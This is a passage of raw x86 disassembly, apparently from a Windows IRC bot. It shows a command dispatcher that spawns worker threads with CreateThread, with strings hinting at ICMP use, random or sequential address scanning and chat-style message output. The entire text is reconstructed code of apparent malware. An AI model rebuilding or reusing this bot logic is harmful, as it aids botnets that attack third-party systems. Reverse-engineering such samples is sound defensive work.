		push	eax
		push	offset dword_436728
		lea	eax, [ebp+var_2EC]
		push	200h
		push	eax
		call	sub_41752A
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	0Ch
		push	eax
		call	sub_416A7A
		add	esp, 2Ch
		mov	[ebp+var_AF0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C74]
		push	ebx
		push	eax
		push	offset sub_401D6D
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_AF0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_411971
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4366E0
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_411969:				; CODE XREF: sub_40EC43+2D34j
		push	32h
		call	dword_423064	; Sleep

loc_411971:				; CODE XREF: sub_40EC43+2D13j
		cmp	[ebp+var_AD8], ebx
		jz	short loc_411969
		jmp	short loc_41198E
; ---------------------------------------------------------------------------

loc_41197B:				; CODE XREF: sub_40EC43+2C27j
		push	offset dword_436698

loc_411980:				; CODE XREF: sub_40EC43+1CBAj
					; sub_40EC43+1DC4j ...
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_41198E:				; CODE XREF: sub_40EC43+1557j
					; sub_40EC43+1D8Cj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F594
		push	ebx
		push	[ebp+var_4]

loc_41199B:				; CODE XREF: sub_40EC43+3905j
		lea	eax, [ebp+var_2EC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]

loc_4119AB:				; CODE XREF: sub_40EC43+561Bj
		call	sub_40D476
		add	esp, 14h
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_4119B8:				; CODE XREF: sub_40EC43+27A3j
					; sub_40EC43+27BAj ...
		cmp	dword_43EC10, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411AC3
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_5A4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_5A8], eax
		lea	eax, [ebp+var_63C]
		push	edi
		push	eax
		call	sub_418910
		push	[ebp+arg_18]
		call	sub_41751F
		push	[ebp+arg_0]
		mov	[ebp+var_5BC], eax
		call	sub_41751F
		push	[ebp+arg_10]
		mov	[ebp+var_5B8], eax
		call	sub_41751F
		push	7Fh
		mov	[ebp+var_5B4], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_418910
		push	[ebp+var_5B4]
		lea	eax, [ebp+var_63C]
		mov	[ebp+var_6C0], esi
		push	[ebp+var_5B8]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_5BC]
		push	offset unk_436640
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	0Eh
		push	eax
		call	sub_416A7A
		add	esp, 48h
		mov	[ebp+var_5AC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		push	offset sub_40ADB1
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_5AC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_411AB6
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4365F8
		jmp	loc_41263D
; ---------------------------------------------------------------------------

loc_411AAE:				; CODE XREF: sub_40EC43+2E79j
		push	32h
		call	dword_423064	; Sleep

loc_411AB6:				; CODE XREF: sub_40EC43+2E58j
		cmp	[ebp+var_5A0], ebx
		jz	short loc_411AAE
		jmp	loc_41264C
; ---------------------------------------------------------------------------

loc_411AC3:				; CODE XREF: sub_40EC43+2D7Ej
		push	1FFh
		lea	eax, [ebp+var_2EC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418910
		jmp	loc_412649
; ---------------------------------------------------------------------------

loc_411ADE:				; CODE XREF: sub_40EC43+275Ej
					; sub_40EC43+2775j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_5A4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_5A8], eax
		lea	eax, [ebp+var_63C]
		push	edi
		push	eax
		call	sub_418910
		push	[ebp+arg_18]
		call	sub_41751F
		push	[ebp+arg_0]
		mov	[ebp+var_5BC], eax
		call	sub_41751F
		push	[ebp+arg_10]
		mov	[ebp+var_5B8], eax
		call	sub_41751F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_5B4], eax
		jz	short loc_411B43
		push	esi
		call	sub_41751F
		pop	ecx
		mov	[ebp+var_5B0], eax
		jmp	short loc_411B49
; ---------------------------------------------------------------------------

loc_411B43:				; CODE XREF: sub_40EC43+2EEFj
		mov	[ebp+var_5B0], ebx

loc_411B49:				; CODE XREF: sub_40EC43+2EFEj
		push	7Fh
		lea	eax, [ebp+var_6BC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418910
		push	[ebp+var_5B4]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_63C]
		mov	[ebp+var_6C0], esi
		push	[ebp+var_5B8]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_5BC]
		push	offset dword_436588
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	0Fh
		push	eax
		call	sub_416A7A
		add	esp, 30h
		mov	[ebp+var_5AC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		push	offset sub_40AF3D
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_5AC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_411BF0
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436540
		jmp	loc_41263D
; ---------------------------------------------------------------------------

loc_411BE8:				; CODE XREF: sub_40EC43+2FB3j
		push	32h
		call	dword_423064	; Sleep

loc_411BF0:				; CODE XREF: sub_40EC43+2F92j
		cmp	[ebp+var_5A0], ebx
		jz	short loc_411BE8
		jmp	loc_41264C
; ---------------------------------------------------------------------------

loc_411BFD:				; CODE XREF: sub_40EC43+2730j
					; sub_40EC43+2747j
		push	8
		call	sub_416CBC
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41751F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_411C4D
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2EC]
		push	offset unk_4364F0
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		jmp	loc_413062
; ---------------------------------------------------------------------------

loc_411C4D:				; CODE XREF: sub_40EC43+2FD6j
		push	edi
		call	sub_41751F
		push	[ebp+arg_18]
		mov	[ebp+var_488], eax
		call	sub_41751F
		push	[ebp+arg_0]
		mov	[ebp+var_470], eax
		call	sub_41751F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_484], eax
		jnb	short loc_411C86
		push	2
		pop	eax
		mov	[ebp+var_484], eax

loc_411C86:				; CODE XREF: sub_40EC43+3038j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411C93
		mov	[ebp+var_484], ecx

loc_411C93:				; CODE XREF: sub_40EC43+3048j
		push	[ebp+arg_10]
		call	sub_41751F
		mov	[ebp+var_480], eax
		mov	eax, 320h
		cmp	[ebp+var_480], eax
		pop	ecx
		jbe	short loc_411CB5
		mov	[ebp+var_480], eax

loc_411CB5:				; CODE XREF: sub_40EC43+306Aj
		or	[ebp+var_46C], 0FFFFFFFFh
		cmp	dword_429D60, ebx
		mov	[ebp+arg_10], ebx
		jz	short loc_411D0B
		mov	[ebp+arg_24], offset dword_429D60

loc_411CCE:				; CODE XREF: sub_40EC43+30AAj
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411CF1
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_10]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411CCE
		jmp	short loc_411D0B
; ---------------------------------------------------------------------------

loc_411CF1:				; CODE XREF: sub_40EC43+309Cj
		mov	eax, [ebp+arg_10]
		mov	ecx, eax
		mov	[ebp+var_46C], eax
		imul	ecx, 3Ch
		mov	ecx, dword_429D60[ecx]
		mov	[ebp+var_488], ecx

loc_411D0B:				; CODE XREF: sub_40EC43+3082j
					; sub_40EC43+30ACj
		cmp	[ebp+var_488], ebx
		jz	loc_413DBC
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411D52
		cmp	byte ptr [edi],	23h
		jz	short loc_411D52
		push	edi
		lea	eax, [ebp+var_59C]
		push	10h
		push	eax
		call	sub_41752A
		push	78h
		push	edi
		call	sub_418C50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_45C], eax
		jmp	loc_411E26
; ---------------------------------------------------------------------------

loc_411D52:				; CODE XREF: sub_40EC43+30DDj
					; sub_40EC43+30E2j
		cmp	[ebp+var_95F], bl
		jnz	short loc_411D74
		cmp	[ebp+var_95E], bl
		jnz	short loc_411D74
		cmp	[ebp+var_94E], bl
		jnz	short loc_411D74
		push	offset unk_4364A8
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_411D74:				; CODE XREF: sub_40EC43+3115j
					; sub_40EC43+311Dj ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43EAC8	; getsockname
		mov	al, [ebp+var_95F]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_E0], eax
		push	[ebp+var_E0]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_59C]
		push	eax
		call	sub_418910
		add	esp, 0Ch
		cmp	[ebp+var_94E], bl
		jz	short loc_411E20
		xor	eax, eax
		cmp	[ebp+var_95F], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_59C]
		push	eax
		call	sub_418C10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_411E14

loc_411DF2:				; CODE XREF: sub_40EC43+31CFj
		cmp	eax, ebx
		jz	short loc_411E14
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_59C]
		push	30h
		push	eax
		call	sub_418C10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_411DF2

loc_411E14:				; CODE XREF: sub_40EC43+31ADj
					; sub_40EC43+31B1j
		mov	[ebp+var_45C], 1
		jmp	short loc_411E26
; ---------------------------------------------------------------------------

loc_411E20:				; CODE XREF: sub_40EC43+3187j
		mov	[ebp+var_45C], ebx

loc_411E26:				; CODE XREF: sub_40EC43+310Aj
					; sub_40EC43+31DBj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_48C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_464], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_460], eax
		mov	edi, 80h
		lea	eax, [ebp+var_58C]
		push	edi
		push	eax
		call	sub_41752A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_411E77

loc_411E64:				; CODE XREF: sub_40EC43+3257j
		push	esi

loc_411E65:				; CODE XREF: sub_40EC43+3241j
		lea	eax, [ebp+var_50C]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 0Ch
		jmp	short loc_411EA2
; ---------------------------------------------------------------------------

loc_411E77:				; CODE XREF: sub_40EC43+321Fj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411E86
		cmp	byte ptr [eax],	23h
		jnz	short loc_411E86
		push	eax
		jmp	short loc_411E65
; ---------------------------------------------------------------------------

loc_411E86:				; CODE XREF: sub_40EC43+3239j
					; sub_40EC43+323Ej
		mov	esi, offset a2	; "#2"
		push	offset byte_43BCE8
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411E64
		mov	[ebp+var_50C], bl

loc_411EA2:				; CODE XREF: sub_40EC43+3232j
		cmp	[ebp+var_45C], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411EB4
		mov	eax, offset aSequential	; "Sequential"

loc_411EB4:				; CODE XREF: sub_40EC43+326Aj
		push	[ebp+var_470]
		lea	ecx, [ebp+var_59C]
		push	[ebp+var_480]
		push	[ebp+var_484]
		push	[ebp+var_488]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_436420
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	8
		push	eax
		call	sub_416A7A
		add	esp, 2Ch
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_59C]
		push	ebx
		push	eax
		push	offset sub_4077CC
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_47C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_411F45
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4363D8
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_411F3D:				; CODE XREF: sub_40EC43+3308j
		push	32h
		call	dword_423064	; Sleep

loc_411F45:				; CODE XREF: sub_40EC43+32E7j
		cmp	[ebp+var_458], ebx
		jz	short loc_411F3D
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_411F52:				; CODE XREF: sub_40EC43+26F0j
					; sub_40EC43+2707j
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		cmp	byte_444580[eax], bl
		jz	loc_414CDE
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	[ebp+arg_18]
		call	sub_4177B0
		push	edi
		mov	esi, eax
		call	sub_4177B0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_4177B0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417580
		mov	esi, eax
		lea	eax, [ebp+var_2EC]
		push	esi
		push	offset dword_4363CC
		push	eax
		call	sub_416FB6
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_414CDE
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jle	loc_414CDE
		push	edi
		call	sub_41751F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414CDE
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_444574[eax]
		call	sub_40D476
		push	edi
		call	sub_41751F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444368[eax], 73h
		jnz	loc_414CDE
		push	esi
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_444580
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"

loc_41203A:				; CODE XREF: sub_40EC43+34F1j
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		jmp	loc_414447
; ---------------------------------------------------------------------------

loc_412064:				; CODE XREF: sub_40EC43+26C2j
					; sub_40EC43+26D9j
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		cmp	byte_444580[eax], bl
		jz	loc_414CDE
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	[ebp+arg_18]
		call	sub_4177B0
		push	edi
		mov	esi, eax
		call	sub_4177B0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_4177B0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417580
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414CDE
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jle	loc_414CDE
		push	edi
		call	sub_41751F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414CDE
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_444574[eax]
		call	sub_40D476
		push	edi
		call	sub_41751F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444368[eax], 73h
		jnz	loc_414CDE
		push	esi
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_444580
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_41203A
; ---------------------------------------------------------------------------

loc_412139:				; CODE XREF: sub_40EC43+2694j
					; sub_40EC43+26ABj
		push	edi
		call	dword_43EB64	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_39C], eax
		call	sub_41751F
		push	[ebp+arg_0]
		mov	[ebp+var_3A8], eax
		call	sub_41751F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_3A4], eax
		lea	eax, [ebp+var_428]
		mov	[ebp+var_42C], esi
		push	eax
		call	sub_418910
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_394], edi
		push	[ebp+var_3A4]
		mov	[ebp+var_390], eax
		push	[ebp+var_3A8]
		push	[ebp+var_39C]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_436360
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	8
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	[ebp+var_3A0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_42C]
		push	ebx
		push	eax
		push	offset sub_415B71
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_3A0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_41221E
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436310
		jmp	loc_414236
; ---------------------------------------------------------------------------

loc_412216:				; CODE XREF: sub_40EC43+35E1j
		push	32h
		call	dword_423064	; Sleep

loc_41221E:				; CODE XREF: sub_40EC43+35C0j
		cmp	[ebp+var_38C], ebx
		jz	short loc_412216
		jmp	loc_414245
; ---------------------------------------------------------------------------

loc_41222B:				; CODE XREF: sub_40EC43+2666j
					; sub_40EC43+267Dj
		push	edi
		call	sub_41751F
		push	7Fh
		mov	[ebp+var_111C],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1220]
		push	eax
		call	sub_418910
		push	[ebp+arg_0]
		call	sub_41751F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1120],	eax
		lea	eax, [ebp+var_11A0]
		push	80h
		push	eax
		mov	[ebp+var_1228],	esi
		call	sub_41752A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_110C],	eax
		push	[ebp+var_1120]
		lea	eax, [ebp+var_1220]
		mov	[ebp+var_1110],	edi
		push	eax
		push	[ebp+var_111C]
		push	esi
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_4362C0
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		call	sub_416A7A
		add	esp, 24h
		mov	[ebp+var_1118],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1228]
		push	ebx
		push	eax
		push	offset sub_407A23
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_1118]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_412317
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436268
		jmp	loc_414236
; ---------------------------------------------------------------------------

loc_41230F:				; CODE XREF: sub_40EC43+36DAj
		push	32h
		call	dword_423064	; Sleep

loc_412317:				; CODE XREF: sub_40EC43+36B9j
		cmp	[ebp+var_1108],	ebx
		jz	short loc_41230F
		jmp	loc_414245
; ---------------------------------------------------------------------------

loc_412324:				; CODE XREF: sub_40EC43+2638j
					; sub_40EC43+264Fj
		push	0FFh
		lea	eax, [ebp+var_F74]
		push	edi
		push	eax
		call	sub_418910
		push	0FFh
		lea	eax, [ebp+var_E74]
		push	[ebp+arg_18]
		push	eax
		call	sub_418910
		push	[ebp+arg_0]
		mov	[ebp+var_D70], ebx
		call	sub_41751F
		mov	[ebp+var_D6C], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_412380
		push	10h
		push	ebx
		push	eax
		call	sub_41873B
		add	esp, 0Ch
		mov	[ebp+var_D64], eax
		jmp	short loc_412386
; ---------------------------------------------------------------------------

loc_412380:				; CODE XREF: sub_40EC43+3727j
		mov	[ebp+var_D64], ebx

loc_412386:				; CODE XREF: sub_40EC43+373Bj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_41239D
		push	esi
		call	sub_41751F
		pop	ecx
		mov	[ebp+var_D68], eax
		jmp	short loc_4123A3
; ---------------------------------------------------------------------------

loc_41239D:				; CODE XREF: sub_40EC43+3749j
		mov	[ebp+var_D68], ebx

loc_4123A3:				; CODE XREF: sub_40EC43+3758j
		movzx	eax, [ebp+var_95B]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_D60], eax
		lea	eax, [ebp+var_FF4]
		mov	[ebp+var_FF8], esi
		push	eax
		call	sub_418910
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_D58], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_D5C], eax
		push	edi
		lea	eax, [ebp+var_2EC]
		push	offset unk_436228
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_2EC]
		push	16h
		push	eax
		call	sub_416A7A
		add	esp, 28h
		mov	[ebp+var_D74], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF8]
		push	ebx
		push	eax
		push	offset sub_40C90D
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_D74]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_412454
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4361D8
		jmp	loc_41263D
; ---------------------------------------------------------------------------

loc_41244C:				; CODE XREF: sub_40EC43+3817j
		push	32h
		call	dword_423064	; Sleep

loc_412454:				; CODE XREF: sub_40EC43+37F6j
		cmp	[ebp+var_D54], ebx
		jz	short loc_41244C
		jmp	loc_41264C
; ---------------------------------------------------------------------------

loc_412461:				; CODE XREF: sub_40EC43+260Aj
					; sub_40EC43+2621j
		push	7Fh
		lea	eax, [ebp+var_1B88]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418910
		push	esi
		lea	eax, [ebp+var_1B08]
		push	[ebp+arg_18]
		push	eax
		call	sub_418910
		push	esi
		lea	eax, [ebp+var_1A88]
		push	[ebp+arg_0]
		push	eax
		call	sub_418910
		push	esi
		lea	eax, [ebp+var_1A08]
		push	[ebp+var_8C]
		push	eax
		call	sub_418910
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_1980],	eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_1B8C],	eax
		lea	eax, [ebp+var_2EC]
		push	edi
		push	offset dword_436198
		push	eax
		mov	[ebp+var_1984],	esi
		call	sub_416FB6
		add	esp, 44h
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	0Bh
		push	eax
		call	sub_416A7A
		add	esp, 0Ch
		mov	[ebp+var_1988],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B8C]
		push	ebx
		push	eax
		push	offset sub_4019C8
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_1988]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_412555
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_436150
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_41253D:				; CODE XREF: sub_40EC43+391Aj
		cmp	[ebp+var_8], ebx
		jnz	loc_40F594
		push	ebx
		push	esi
		jmp	loc_41199B
; ---------------------------------------------------------------------------

loc_41254D:				; CODE XREF: sub_40EC43+3918j
		push	32h
		call	dword_423064	; Sleep

loc_412555:				; CODE XREF: sub_40EC43+38DDj
		cmp	[ebp+var_197C],	ebx
		jz	short loc_41254D
		jmp	short loc_41253D
; ---------------------------------------------------------------------------

loc_41255F:				; CODE XREF: sub_40EC43+25C5j
					; sub_40EC43+25DCj ...
		push	7Fh
		lea	eax, [ebp+var_1E18]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418910
		push	esi
		lea	eax, [ebp+var_1D98]
		push	[ebp+arg_18]
		push	eax
		call	sub_418910
		push	esi
		lea	eax, [ebp+var_1D18]
		push	[ebp+arg_0]
		push	eax
		call	sub_418910
		push	esi
		lea	eax, [ebp+var_1C98]
		push	[ebp+var_8C]
		push	eax
		call	sub_418910
		push	20h
		lea	eax, [ebp+var_1C18]
		push	[ebp+arg_8]
		push	eax
		call	sub_418910
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1B98],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1B94],	eax
		lea	eax, [ebp+var_2EC]
		push	edi
		push	offset unk_436110
		push	eax
		mov	[ebp+var_1E20],	esi
		call	sub_416FB6
		add	esp, 50h
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	0Ah
		push	eax
		call	sub_416A7A
		add	esp, 0Ch
		mov	[ebp+var_1E1C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1E20]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_1E1C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_412666
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4360C8

loc_41263D:				; CODE XREF: sub_40EC43+2E66j
					; sub_40EC43+2FA0j ...
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6

loc_412649:				; CODE XREF: sub_40EC43+2E96j
		add	esp, 0Ch

loc_41264C:				; CODE XREF: sub_40EC43+2E7Bj
					; sub_40EC43+2FB5j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F594
		push	ebx
		push	[ebp+var_4]
		jmp	loc_414250
; ---------------------------------------------------------------------------

loc_41265E:				; CODE XREF: sub_40EC43+3A29j
		push	32h
		call	dword_423064	; Sleep

loc_412666:				; CODE XREF: sub_40EC43+39ECj
		cmp	[ebp+var_1B90],	ebx
		jz	short loc_41265E
		jmp	short loc_41264C
; ---------------------------------------------------------------------------

loc_412670:				; CODE XREF: sub_40EC43+2597j
					; sub_40EC43+25AEj
		push	7Fh
		lea	eax, [ebp+var_1388]
		push	edi
		push	eax
		call	sub_418910
		push	[ebp+arg_18]
		call	sub_41751F
		push	3Fh
		mov	[ebp+var_1238],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1308]
		push	eax
		call	sub_418910
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4126BE
		push	3Fh
		lea	eax, [ebp+var_12C8]
		push	esi
		push	eax
		call	sub_418910
		add	esp, 0Ch

loc_4126BE:				; CODE XREF: sub_40EC43+3A67j
		lea	eax, [ebp+var_1308]
		mov	[ebp+var_1234],	1
		push	eax
		lea	eax, [ebp+var_1388]
		push	[ebp+var_1238]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_436088
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	18h
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	[ebp+var_1230],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_138C]
		push	ebx
		push	eax
		push	offset sub_40E961
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_1230]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
